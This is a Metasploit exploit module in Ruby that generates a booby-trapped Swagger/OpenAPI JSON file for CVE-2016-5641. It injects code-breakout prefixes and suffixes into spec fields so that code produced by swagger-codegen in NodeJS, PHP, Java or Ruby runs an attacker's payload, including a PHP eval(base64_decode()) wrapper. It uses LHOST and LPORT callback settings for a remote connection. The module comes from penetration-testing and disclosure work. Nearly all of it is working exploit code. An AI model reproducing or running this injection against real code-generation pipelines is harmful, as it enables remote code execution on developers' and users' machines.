metasploit-gs/modules/exploits/multi/fileformat/swagger_param_inject.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#
require 'base64'

#
# Project
#

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'JSON Swagger CodeGen Parameter Injector',
      'Description'    => %q{
        This module generates a Open API Specification 2.0 (Swagger) compliant json
        document that includes payload insertion points in parameters.

        In order for the payload to be executed, an attacker must convince someone to
        generate code from a specially modified swagger.json file within a vulnerable swagger-codgen
        appliance/container/api/service, and then to execute that generated code (or include it into
        software which will later be executed by another victim). By doing so, an attacker can execute
        arbitrary code as the victim user.  (The same vulnerability exists in the YAML format)
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ethersnowman <scott_davis@rapid7.com>'
        ],
      'References'     =>
        [
          [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
        ],
      'Platform'       => %w{ nodejs php java ruby },
      'Arch'           => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
      'Targets'        => [
        ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
        ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
        ['Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ],
        ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
        ],
      'DisclosureDate' => 'Jun 23 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
        OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
        OptPort.new('LPORT', [true, 'Server port.']),
        OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
        OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
        OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
        OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
        OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
        OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
        OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
        OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
        OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
        OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
        OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
        OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
      ], self.class)
  end

  def swagger
    %Q(
      {
          "swagger": "2.0",
          "info": {
              "description": "#{datastore['INFO_DESCRIPTION']}",
              "version": "#{datastore['INFO_VERSION']}",
              "title": "#{datastore['INFO_TITLE']}"
          },
          "schemes": [
              "#{datastore['SWAGGER_SCHEME']}"
          ],
          "host": "#{datastore['SWAGGER_HOST']}",
          "basePath": "#{datastore['BASE_PATH']}",
          "produces": [
              "application/json"
          ],
          "consumes": [
              "application/json"
          ],
          "paths": {
              "#{datastore['PATH']}": {
                  "get": {
                      "description": "#{datastore['PATH_DESCRIPTION']}",
                      "responses": {
                          "200": {
                              "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
                              "schema": {
                                  "$ref": "#/definitions/d"
                              }
                          }
                      }
                  }
              }
          },
          "definitions": {
              "d": {
                  "type": "object",
                  "description": "#{datastore['DEFINITION_DESCRIPTION']}",
                  "properties": {
                      "id": {
                          "type": "integer",
                          "format": "int64"
                      }
                  }
              }
          }
      }
    )
  end

  def exploit
    if datastore['PAYLOAD']
      case payload.arch[0]
      when 'nodejs'
        payload_loc = 'PATH'
        payload_prefix = "/a');};};return exports;}));"
        payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
        wrapped_payload = payload_prefix +
          payload.encoded +
          payload_suffix
        datastore[payload_loc] = wrapped_payload.gsub(/"/, '\\"')
      when 'php'
        payload_loc = 'INFO_DESCRIPTION'
        payload_prefix = "*/ namespace foobar; eval(base64_decode('"
        payload_suffix = "')); /*"
        wrapped_payload = payload_prefix +
          Base64.strict_encode64(payload.encoded) +
          payload_suffix
        datastore[payload_loc] = wrapped_payload
      when 'ruby'
        payload_loc = 'INFO_TITLE'
        payload_prefix = "=end "
        payload_suffix = "=begin "
        wrapped_payload = payload_prefix +
          payload.encoded +
          payload_suffix
        datastore[payload_loc] = wrapped_payload
      when 'java'
        payload_loc = 'PATH'
        payload_prefix = %q{a\\\"; "}
        p = payload.encoded.gsub(/<%@page import="/, 'import ')
        p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
        p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
        wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
        datastore[payload_loc] = wrapped_payload
      end
    else
      print_error("No payload defined!")
    end

    print_status swagger
    file_create swagger
  end
end